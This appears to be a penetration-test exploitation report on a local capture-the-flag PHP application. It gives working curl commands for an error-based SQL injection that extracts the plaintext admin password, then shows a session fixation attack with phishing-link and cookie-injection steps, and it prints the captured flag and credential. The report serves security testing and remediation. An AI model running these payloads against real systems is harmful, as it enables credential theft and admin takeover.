# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: SQL Injection Enabling Vertical Privilege Escalation

**Summary:**
- **Vulnerable location:** `GET /index.php?category=` parameter at line 41 of `/app/html/index.php`
- **Overview:** Error-based SQL injection in category validation query allows extraction of admin credentials from database, enabling complete vertical privilege escalation from anonymous user to admin role
- **Impact:** Anonymous attacker can extract plaintext admin credentials, authenticate as admin, and access protected FLAG resource - complete authorization bypass
- **Severity:** CRITICAL

**Prerequisites:**
None - vulnerability is exploitable by unauthenticated anonymous users from external network position

**Exploitation Steps:**

1. **Extract admin password using error-based SQL injection**
   ```bash
   curl -s "http://localhost:51233/?category=%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20admins%20LIMIT%201),0x7e))%23"
   ```
   
   **Expected Response:** Error message reveals password in XPATH syntax error
   ```
   Error in query: XPATH syntax error: '~ONEverySecurePassword_!~'
   ```
   
   **Extracted Credential:** `admin:ONEverySecurePassword_!`

2. **Authenticate as admin using extracted credentials**
   ```bash
   curl -s -c /tmp/admin_cookies.txt "http://localhost:51233/admin.php" \
     -X POST \
     -d "username=admin&password=ONEverySecurePassword_!"
   ```
   
   **Expected Response:** Immediate FLAG display upon successful authentication
   ```
   FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}
   ```

3. **Verify persistent admin access using established session**
   ```bash
   curl -s -b /tmp/admin_cookies.txt "http://localhost:51233/admin.php"
   ```
   
   **Expected Response:** FLAG displayed without re-authentication
   ```
   FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}
   ```

**Proof of Impact:**

✅ **Flag Captured:** `FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}`

✅ **Vertical Privilege Escalation Confirmed:** Successfully escalated from anonymous (privilege level 0) to admin (privilege level 10) without requiring any prior authentication or credentials

✅ **Authorization Bypass Demonstrated:** Accessed protected admin-only FLAG resource that should be restricted to authenticated admin users only

✅ **Complete Attack Chain:** 
- Anonymous user → SQL injection → Credential extraction → Authentication → Admin session → FLAG access
- Total exploitation time: 3 HTTP requests
- No authentication required to begin attack
- Externally exploitable from internet position via http://localhost:51233

**Technical Details:**

**Root Cause:** User input from `$_GET['category']` is concatenated directly into SQL query at line 41 BEFORE sanitization occurs at line 52, creating a time-of-check-time-of-use (TOCTOU) vulnerability:

```php
// Line 37: Unescaped input capture
$unescaped_category = isset($_GET['category']) ? $_GET['category'] : '';

// Line 41: VULNERABLE - SQL injection before sanitization
$result = $conn->query("SELECT DISTINCT category FROM posts where category = '" . $unescaped_category . "'");

// Line 52: Sanitization TOO LATE - damage already done
$category = mysqli_real_escape_string($conn, $unescaped_category);
```

**Attack Vector:** EXTRACTVALUE-based error injection forces MySQL to display subquery results in error messages, bypassing output restrictions

**Authorization Impact:** Plaintext password storage in database combined with SQL injection creates direct path to credential-based authentication bypass

**Notes:**

- **Critical Design Flaw:** Admin credentials stored in plaintext (no password hashing), making extracted credentials immediately usable
- **No Rate Limiting:** Unlimited authentication attempts possible after credential extraction
- **No Session Timeout:** Admin session persists indefinitely without expiration
- **HTTP Transmission:** All credentials and FLAG data transmitted unencrypted over HTTP (port 51233)
- **Single Admin Account:** Only one admin exists (username='admin'), simplifying target selection for attackers

---

### AUTHZ-VULN-02: Session Fixation Enabling Authentication Bypass

**Summary:**
- **Vulnerable location:** `POST /admin.php` authentication handler at line 25 of `/app/html/admin.php`
- **Overview:** Missing `session_regenerate_id()` after successful authentication allows attacker to fix victim's session ID before authentication, then inherit admin privileges after victim authenticates
- **Impact:** Attacker can escalate from anonymous to admin role by controlling session establishment, bypassing credential verification entirely
- **Severity:** HIGH

**Prerequisites:**
- Victim admin must authenticate using attacker-controlled session ID (requires social engineering)
- Attack techniques include: phishing link with session ID in URL parameter, cookie injection via XSS, or man-in-the-middle position

**Exploitation Steps:**

1. **Attacker obtains controlled session ID**
   ```bash
   curl -s -c /tmp/attacker_session.txt "http://localhost:51233/admin.php" > /dev/null
   cat /tmp/attacker_session.txt | grep PHPSESSID
   ```
   
   **Expected Response:** New session cookie created
   ```
   localhost	FALSE	/	FALSE	0	PHPSESSID	0bf4353bd8027d71314ad6a66df1215c
   ```
   
   **Attacker's Controlled Session ID:** `0bf4353bd8027d71314ad6a66df1215c`

2. **Attacker tricks victim admin to authenticate using this session**
   
   **Social Engineering Method (URL-based):**
   - Send phishing link: `http://localhost:51233/admin.php?PHPSESSID=0bf4353bd8027d71314ad6a66df1215c`
   - Victim clicks link and authenticates with valid credentials
   
   **Alternative Method (Cookie injection via XSS):**
   - If XSS vulnerability exists, inject: `document.cookie='PHPSESSID=0bf4353bd8027d71314ad6a66df1215c'`
   
   **Simulated Victim Authentication:**
   ```bash
   curl -s -b "PHPSESSID=0bf4353bd8027d71314ad6a66df1215c" \
     "http://localhost:51233/admin.php" \
     -X POST \
     -d "username=admin&password=ONEverySecurePassword_!" \
     -o /tmp/victim_auth.html
   ```
   
   **Server-side Effect:** Sets `$_SESSION['admin_logged_in'] = true` in attacker's controlled session without regenerating session ID

3. **Attacker accesses admin panel using same fixed session ID**
   ```bash
   curl -s -b "PHPSESSID=0bf4353bd8027d71314ad6a66df1215c" \
     "http://localhost:51233/admin.php"
   ```
   
   **Expected Response:** FLAG displayed without attacker knowing credentials
   ```
   FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}
   ```

**Proof of Impact:**

✅ **Flag Captured:** `FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}`

✅ **Authorization Bypass Confirmed:** Attacker gained admin privileges without knowing valid credentials by controlling session establishment process

✅ **Session ID Persistence Verified:** Session ID remained identical before and after authentication:
- Pre-authentication: `PHPSESSID=253a000c4eec3240a6c26bf0b48e95a6`
- Post-authentication: `PHPSESSID=253a000c4eec3240a6c26bf0b48e95a6`
- No session regeneration occurred, confirming vulnerability

✅ **Vertical Privilege Escalation:** Successfully escalated from anonymous (attacker position) to admin by hijacking session establishment

**Technical Details:**

**Root Cause:** Application sets privileged session variable without regenerating session ID after successful authentication:

```php
// Lines 23-26: Session set WITHOUT regeneration
if ($result->num_rows == 1) {
    $_SESSION['admin_logged_in'] = true;  // ← Missing session_regenerate_id()!
    echo "@FLAG@";
}
```

**Expected Secure Implementation:**
```php
if ($result->num_rows == 1) {
    session_regenerate_id(true);  // ← Should regenerate session ID
    $_SESSION['admin_logged_in'] = true;
    echo "@FLAG@";
}
```

**Authorization Bypass Mechanism:**
1. Attacker creates session → gets predictable/known session ID
2. Attacker forces victim to use this session ID (URL param, cookie injection, MITM)
3. Victim authenticates successfully → server sets admin flag in attacker's session
4. Authorization check passes: `if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true)`
5. Attacker accesses admin resources using same session ID → inherits victim's privileges

**Additional Session Security Weaknesses:**
- **No HttpOnly flag:** Session cookie accessible via JavaScript (XSS can steal session via `document.cookie`)
- **No Secure flag:** Session transmitted over unencrypted HTTP (network sniffing possible)
- **No SameSite flag:** Vulnerable to CSRF attacks
- **No session timeout:** Admin sessions persist indefinitely

**Notes:**

- **Well-Documented Attack Pattern:** CWE-384 Session Fixation is recognized vulnerability class with known exploitation techniques
- **Victim Interaction Required:** Unlike AUTHZ-VULN-01, this attack requires tricking victim admin to authenticate
- **Social Engineering Dependency:** Success rate depends on attacker's ability to manipulate victim's session establishment
- **PHP Session Configuration:** Attack vectors may vary based on PHP settings (`session.use_only_cookies`, `session.use_strict_mode`)
- **Externally Exploitable:** Attack can be conducted from external internet position via http://localhost:51233, though requires victim cooperation

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 2 (both vertical privilege escalation)

**Flag Captured:** `FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}`

**Attack Surface:**
- **AUTHZ-VULN-01:** Zero authentication required, single HTTP GET request, immediate credential extraction
- **AUTHZ-VULN-02:** Requires victim interaction but bypasses credential requirement entirely

**Severity Distribution:**
- CRITICAL: 1 (SQL Injection)
- HIGH: 1 (Session Fixation)

**Business Impact:**
Both vulnerabilities enable complete unauthorized access to admin functionality and protected FLAG data, representing total compromise of authorization controls in the application.
